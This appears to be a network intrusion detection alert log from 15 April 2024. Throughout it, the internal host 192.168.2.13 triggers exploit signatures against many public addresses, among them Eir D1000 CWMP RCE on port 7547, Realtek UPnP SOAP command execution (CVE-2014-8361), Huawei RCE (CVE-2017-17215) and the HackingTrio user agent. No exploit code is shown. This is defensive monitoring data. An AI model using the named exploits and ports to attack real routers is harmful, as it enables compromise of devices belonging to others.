04/15/24-08:53:29.104075	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	52286	80	192.168.2.13	178.128.236.108
04/15/24-08:52:20.395413	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45338	7547	192.168.2.13	197.93.13.146
04/15/24-08:53:37.920166	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	35680	80	192.168.2.13	203.137.165.156
04/15/24-08:52:42.662259	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40698	52869	192.168.2.13	139.39.192.129
04/15/24-08:53:41.923432	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	47678	80	192.168.2.13	118.190.149.143
04/15/24-08:52:23.274447	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40658	52869	192.168.2.13	81.199.207.140
04/15/24-08:53:30.098499	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42402	7547	192.168.2.13	175.228.147.138
04/15/24-08:53:11.502740	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	52062	7547	192.168.2.13	174.26.220.214
04/15/24-08:52:46.362481	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53828	52869	192.168.2.13	34.149.128.155
04/15/24-08:53:32.848565	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44678	52869	192.168.2.13	178.135.97.217
04/15/24-08:52:37.390112	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59258	7547	192.168.2.13	191.19.45.199
04/15/24-08:53:55.439397	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43892	7547	192.168.2.13	31.181.248.84
04/15/24-08:53:44.236501	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37034	7547	192.168.2.13	186.225.195.139
04/15/24-08:53:15.058099	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55994	7547	192.168.2.13	220.126.223.85
04/15/24-08:53:29.171519	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	46762	80	192.168.2.13	186.5.109.228
04/15/24-08:53:41.049504	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56352	52869	192.168.2.13	172.65.91.68
04/15/24-08:52:44.931992	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56238	7547	192.168.2.13	47.189.46.200
04/15/24-08:53:56.800368	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56064	52869	192.168.2.13	45.200.76.196
04/15/24-08:53:00.887681	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38420	7547	192.168.2.13	41.100.72.58
04/15/24-08:53:42.980622	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51908	7547	192.168.2.13	186.6.161.225
04/15/24-08:52:45.656072	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56028	7547	192.168.2.13	85.216.176.48
04/15/24-08:52:52.397303	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54902	7547	192.168.2.13	191.54.100.108
04/15/24-08:53:58.947459	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39024	7547	192.168.2.13	86.85.144.217
04/15/24-08:52:15.576577	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	53078	80	192.168.2.13	90.218.1.8
04/15/24-08:53:17.922295	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48600	7547	192.168.2.13	190.34.112.81
04/15/24-08:53:07.479921	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56254	52869	192.168.2.13	182.16.188.82
04/15/24-08:53:48.852269	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43008	7547	192.168.2.13	47.149.176.153
04/15/24-08:52:32.210614	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55424	7547	192.168.2.13	14.74.199.127
04/15/24-08:52:40.148485	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	54480	80	192.168.2.13	207.154.223.94
04/15/24-08:52:44.575406	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37696	7547	192.168.2.13	174.87.177.239
04/15/24-08:53:06.082147	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59716	7547	192.168.2.13	86.177.57.5
04/15/24-08:53:16.477470	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	58090	80	192.168.2.13	103.87.141.213
04/15/24-08:53:37.722885	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45450	7547	192.168.2.13	221.147.219.158
04/15/24-08:52:59.611328	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56248	52869	192.168.2.13	160.141.82.82
04/15/24-08:52:31.624849	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60462	7547	192.168.2.13	89.147.161.158
04/15/24-08:53:10.439677	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40902	7547	192.168.2.13	119.213.83.228
04/15/24-08:52:51.292874	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47140	7547	192.168.2.13	220.120.242.86
04/15/24-08:53:42.163452	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44260	7547	192.168.2.13	179.94.4.53
04/15/24-08:52:31.163779	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40264	7547	192.168.2.13	120.88.138.155
04/15/24-08:52:29.534627	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60928	7547	192.168.2.13	5.167.43.27
04/15/24-08:53:20.157221	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46332	52869	192.168.2.13	109.36.156.187
04/15/24-08:53:34.764663	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	45468	80	192.168.2.13	148.66.55.22
04/15/24-08:52:28.880590	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40290	7547	192.168.2.13	109.255.15.7
04/15/24-08:52:49.696478	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59320	7547	192.168.2.13	181.52.223.137
04/15/24-08:52:13.870740	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57706	7547	192.168.2.13	220.255.233.240
04/15/24-08:53:22.089955	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	60194	80	192.168.2.13	82.129.104.186
04/15/24-08:53:16.697829	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	46796	80	192.168.2.13	18.154.1.149
04/15/24-08:53:49.442039	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	37732	80	192.168.2.13	66.181.175.226
04/15/24-08:53:14.766302	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48844	7547	192.168.2.13	121.150.239.182
04/15/24-08:53:29.822080	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53018	52869	192.168.2.13	31.136.253.47
04/15/24-08:52:23.693432	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	33026	80	192.168.2.13	148.0.28.146
04/15/24-08:53:27.864718	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	50292	7547	192.168.2.13	115.7.120.56
04/15/24-08:53:12.710571	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58346	7547	192.168.2.13	181.164.67.9
04/15/24-08:52:55.753957	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41788	7547	192.168.2.13	47.198.48.210
04/15/24-08:53:51.118479	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	32886	7547	192.168.2.13	201.94.203.30
04/15/24-08:53:25.166354	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45540	7547	192.168.2.13	211.38.92.211
04/15/24-08:53:43.494439	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44276	7547	192.168.2.13	179.94.4.53
04/15/24-08:52:29.478672	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	42716	80	192.168.2.13	162.19.230.211
04/15/24-08:53:30.146250	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53100	52869	192.168.2.13	31.136.253.47
04/15/24-08:53:30.898142	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45126	7547	192.168.2.13	99.251.198.135
04/15/24-08:53:51.097168	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51392	7547	192.168.2.13	79.97.251.1
04/15/24-08:52:23.275654	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	47698	80	192.168.2.13	45.171.26.148
04/15/24-08:52:13.126231	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55860	7547	192.168.2.13	50.103.64.100
04/15/24-08:52:45.385133	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38750	7547	192.168.2.13	187.32.29.9
04/15/24-08:52:26.759509	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38878	7547	192.168.2.13	218.146.232.66
04/15/24-08:53:22.151484	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44946	7547	192.168.2.13	118.52.71.152
04/15/24-08:53:31.235358	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36454	7547	192.168.2.13	72.208.51.177
04/15/24-08:53:54.006080	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40840	7547	192.168.2.13	121.190.36.35
04/15/24-08:53:21.623646	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33548	7547	192.168.2.13	97.120.212.86
04/15/24-08:53:41.204392	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	54282	80	192.168.2.13	23.48.143.68
04/15/24-08:52:55.103620	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42434	7547	192.168.2.13	189.124.222.175
04/15/24-08:52:57.048645	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51180	7547	192.168.2.13	61.76.227.58
04/15/24-08:53:56.330534	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	52162	7547	192.168.2.13	181.208.224.85
04/15/24-08:53:41.909549	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	36978	80	192.168.2.13	86.222.239.25
04/15/24-08:53:29.822080	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53018	52869	192.168.2.13	31.136.253.47
04/15/24-08:53:27.123669	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	54130	80	192.168.2.13	23.34.209.182
04/15/24-08:53:16.735889	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	52622	80	192.168.2.13	117.185.238.12
04/15/24-08:53:49.127560	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59414	7547	192.168.2.13	181.170.221.173
04/15/24-08:52:49.425550	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59294	7547	192.168.2.13	181.52.223.137
04/15/24-08:52:53.623616	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	46106	80	192.168.2.13	192.155.187.174
04/15/24-08:53:20.157221	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46332	52869	192.168.2.13	109.36.156.187
04/15/24-08:52:55.983527	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41850	7547	192.168.2.13	47.198.48.210
04/15/24-08:53:56.052924	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54388	7547	192.168.2.13	59.30.207.184
04/15/24-08:52:56.138393	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37412	52869	192.168.2.13	199.208.108.1
04/15/24-08:53:01.707210	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56084	7547	192.168.2.13	97.108.139.103
04/15/24-08:53:42.857962	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43202	7547	192.168.2.13	175.237.58.152
04/15/24-08:53:37.747523	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53552	7547	192.168.2.13	118.56.61.19
04/15/24-08:52:37.701100	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40366	37215	192.168.2.13	213.243.46.192
04/15/24-08:52:26.476562	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48506	7547	192.168.2.13	177.170.154.250
04/15/24-08:53:21.582379	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59718	7547	192.168.2.13	1.140.19.46
04/15/24-08:53:31.779514	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60104	7547	192.168.2.13	183.115.182.36
04/15/24-08:52:41.923802	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59224	7547	192.168.2.13	14.77.48.238
04/15/24-08:53:50.031139	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36858	7547	192.168.2.13	58.146.66.66
04/15/24-08:52:13.918861	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49754	7547	192.168.2.13	81.151.235.54
04/15/24-08:53:16.939008	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	52706	80	192.168.2.13	52.79.99.246
04/15/24-08:52:36.365070	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36250	7547	192.168.2.13	14.43.226.5
04/15/24-08:53:32.794814	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43102	7547	192.168.2.13	191.61.5.18
04/15/24-08:53:31.191215	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55238	7547	192.168.2.13	118.45.126.149
04/15/24-08:52:22.979415	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45224	7547	192.168.2.13	181.164.242.11
04/15/24-08:53:49.473192	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33456	7547	192.168.2.13	181.167.49.14
04/15/24-08:53:41.668186	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33216	7547	192.168.2.13	75.167.10.129
04/15/24-08:52:31.150723	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41780	7547	192.168.2.13	134.16.79.133
04/15/24-08:53:41.831881	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42424	7547	192.168.2.13	174.22.238.162
04/15/24-08:53:55.834910	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	51768	80	192.168.2.13	23.212.64.32
04/15/24-08:53:25.185885	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49224	7547	192.168.2.13	183.122.143.163
04/15/24-08:52:42.992910	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36190	7547	192.168.2.13	181.132.218.129
04/15/24-08:53:35.085248	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	55356	80	192.168.2.13	119.91.25.34
04/15/24-08:52:28.344817	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43418	7547	192.168.2.13	162.253.102.7
04/15/24-08:53:15.068357	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	37370	80	192.168.2.13	181.214.210.209
04/15/24-08:53:59.555446	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40112	7547	192.168.2.13	174.100.141.119
04/15/24-08:53:01.691056	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59376	7547	192.168.2.13	35.141.47.175
04/15/24-08:53:51.473488	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46448	7547	192.168.2.13	139.192.170.56
04/15/24-08:52:57.119365	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60610	7547	192.168.2.13	95.31.153.220
04/15/24-08:53:25.993768	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55582	7547	192.168.2.13	5.167.250.53
04/15/24-08:52:35.477535	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40794	7547	192.168.2.13	37.250.57.104
04/15/24-08:53:05.416335	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48712	7547	192.168.2.13	213.243.25.244
04/15/24-08:53:27.857247	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54258	37215	192.168.2.13	34.43.81.131
04/15/24-08:53:37.470116	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51602	7547	192.168.2.13	111.207.123.23
04/15/24-08:53:02.788224	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	50612	80	192.168.2.13	62.101.46.172
04/15/24-08:53:54.208866	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36314	7547	192.168.2.13	187.45.106.253
04/15/24-08:53:57.614165	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46560	52869	192.168.2.13	95.14.124.70
04/15/24-08:53:48.845571	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51992	7547	192.168.2.13	34.117.243.93
04/15/24-08:53:51.039734	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	53572	80	192.168.2.13	78.46.151.18
04/15/24-08:53:38.628035	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46234	7547	192.168.2.13	68.104.54.228
04/15/24-08:53:04.968241	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33670	7547	192.168.2.13	86.189.241.9
04/15/24-08:52:59.230799	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38396	7547	192.168.2.13	1.1.157.49
04/15/24-08:53:07.141454	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56252	52869	192.168.2.13	182.16.188.82
04/15/24-08:53:50.398424	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	46088	80	192.168.2.13	195.231.16.240
04/15/24-08:52:49.769946	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41390	7547	192.168.2.13	86.181.149.181
04/15/24-08:53:42.783442	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	50964	7547	192.168.2.13	175.228.4.92
04/15/24-08:53:49.219063	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	60364	80	192.168.2.13	216.104.181.172
04/15/24-08:52:41.835428	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49640	7547	192.168.2.13	50.47.156.154
04/15/24-08:53:21.946994	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	58234	80	192.168.2.13	20.85.188.165
04/15/24-08:52:28.181364	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	33514	80	192.168.2.13	51.81.234.22
04/15/24-08:53:34.981895	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	60388	80	192.168.2.13	13.111.243.59
04/15/24-08:52:13.604052	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38224	7547	192.168.2.13	175.233.9.68
04/15/24-08:52:28.498192	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	58376	80	192.168.2.13	18.202.193.251
04/15/24-08:53:42.873609	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35796	7547	192.168.2.13	173.33.56.136
04/15/24-08:53:58.366341	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57300	7547	192.168.2.13	210.113.21.2
04/15/24-08:52:57.960613	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37396	7547	192.168.2.13	39.53.254.123
04/15/24-08:53:24.888311	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44238	7547	192.168.2.13	121.129.14.26
04/15/24-08:53:00.177844	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	35210	80	192.168.2.13	202.194.31.3
04/15/24-08:53:11.017924	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57838	7547	192.168.2.13	118.63.64.113
04/15/24-08:53:15.052294	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48850	7547	192.168.2.13	121.150.239.182
04/15/24-08:52:17.062560	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60000	7547	192.168.2.13	86.135.67.124
04/15/24-08:52:59.088537	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35416	7547	192.168.2.13	222.103.251.25
04/15/24-08:53:41.660183	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	37888	80	192.168.2.13	3.19.91.15
04/15/24-08:52:21.086000	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42426	7547	192.168.2.13	45.159.142.87
04/15/24-08:52:26.728429	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41620	7547	192.168.2.13	134.16.79.133
04/15/24-08:52:57.859658	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39414	7547	192.168.2.13	163.191.71.200
04/15/24-08:53:21.912669	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	55754	80	192.168.2.13	110.93.237.254
04/15/24-08:52:56.766209	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51156	7547	192.168.2.13	61.76.227.58
04/15/24-08:53:00.322287	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	36234	80	192.168.2.13	23.37.20.123
04/15/24-08:53:41.824787	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	38436	80	192.168.2.13	200.115.88.221
04/15/24-08:53:48.539936	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48172	7547	192.168.2.13	190.192.56.69
04/15/24-08:52:49.504453	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	37898	80	192.168.2.13	156.214.35.68
04/15/24-08:53:31.791019	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38422	7547	192.168.2.13	183.127.205.169
04/15/24-08:53:27.780733	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49088	7547	192.168.2.13	50.32.145.174
04/15/24-08:52:44.128464	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43132	7547	192.168.2.13	187.34.132.104
04/15/24-08:52:42.070491	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35230	7547	192.168.2.13	5.201.131.17
04/15/24-08:53:31.201971	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54672	7547	192.168.2.13	86.167.75.217
04/15/24-08:53:42.782595	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57236	7547	192.168.2.13	59.12.224.143
04/15/24-08:52:28.812986	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	58400	80	192.168.2.13	18.202.193.251
04/15/24-08:53:10.482766	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56890	7547	192.168.2.13	118.210.102.135
04/15/24-08:53:26.150814	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34448	7547	192.168.2.13	27.235.100.62
04/15/24-08:53:50.070215	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38846	7547	192.168.2.13	115.10.27.48
04/15/24-08:52:12.653571	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48158	7547	192.168.2.13	187.101.231.247
04/15/24-08:53:29.627646	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45110	7547	192.168.2.13	99.251.198.135
04/15/24-08:52:57.067608	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54696	7547	192.168.2.13	14.78.176.81
04/15/24-08:53:11.081568	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50490	52869	192.168.2.13	164.250.163.134
04/15/24-08:53:34.585276	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	60040	80	192.168.2.13	34.124.219.226
04/15/24-08:52:52.320474	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	59796	80	192.168.2.13	189.28.129.94
04/15/24-08:52:26.394350	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53384	7547	192.168.2.13	218.159.250.155
04/15/24-08:53:43.127543	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56318	7547	192.168.2.13	61.76.151.114
04/15/24-08:52:19.970601	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	52524	7547	192.168.2.13	72.95.90.135
04/15/24-08:53:37.505347	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33550	7547	192.168.2.13	34.43.218.102
04/15/24-08:53:06.153166	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34442	7547	192.168.2.13	37.104.183.34
04/15/24-08:53:49.920553	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47990	7547	192.168.2.13	105.101.111.233
04/15/24-08:53:04.895312	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57114	7547	192.168.2.13	183.120.90.132
04/15/24-08:52:39.866083	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	55408	80	192.168.2.13	38.153.214.1
04/15/24-08:52:50.097759	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59192	7547	192.168.2.13	109.145.136.110
04/15/24-08:53:46.579409	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51476	7547	192.168.2.13	109.157.45.8
04/15/24-08:53:29.038989	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	36166	80	192.168.2.13	74.48.9.169
04/15/24-08:53:28.137594	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49736	7547	192.168.2.13	220.85.134.187
04/15/24-08:52:40.738857	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49816	7547	192.168.2.13	14.54.98.210
04/15/24-08:53:29.341414	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	34716	80	192.168.2.13	3.105.192.81
04/15/24-08:53:32.716570	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53394	7547	192.168.2.13	24.177.155.54
04/15/24-08:53:42.894321	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36998	7547	192.168.2.13	186.225.195.139
04/15/24-08:53:46.873864	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40688	7547	192.168.2.13	176.171.58.15
04/15/24-08:53:58.986723	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39220	7547	192.168.2.13	200.162.244.201
04/15/24-08:53:21.527593	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47708	7547	192.168.2.13	59.147.122.56
04/15/24-08:53:53.233189	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39042	7547	192.168.2.13	24.213.101.176
04/15/24-08:53:04.744082	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39564	7547	192.168.2.13	75.168.83.35
04/15/24-08:52:45.606683	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47402	7547	192.168.2.13	190.192.121.245
04/15/24-08:52:19.914706	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44248	7547	192.168.2.13	99.229.138.80
04/15/24-08:52:26.908916	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35686	7547	192.168.2.13	101.167.72.124
04/15/24-08:53:49.694665	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34542	7547	192.168.2.13	163.191.29.247
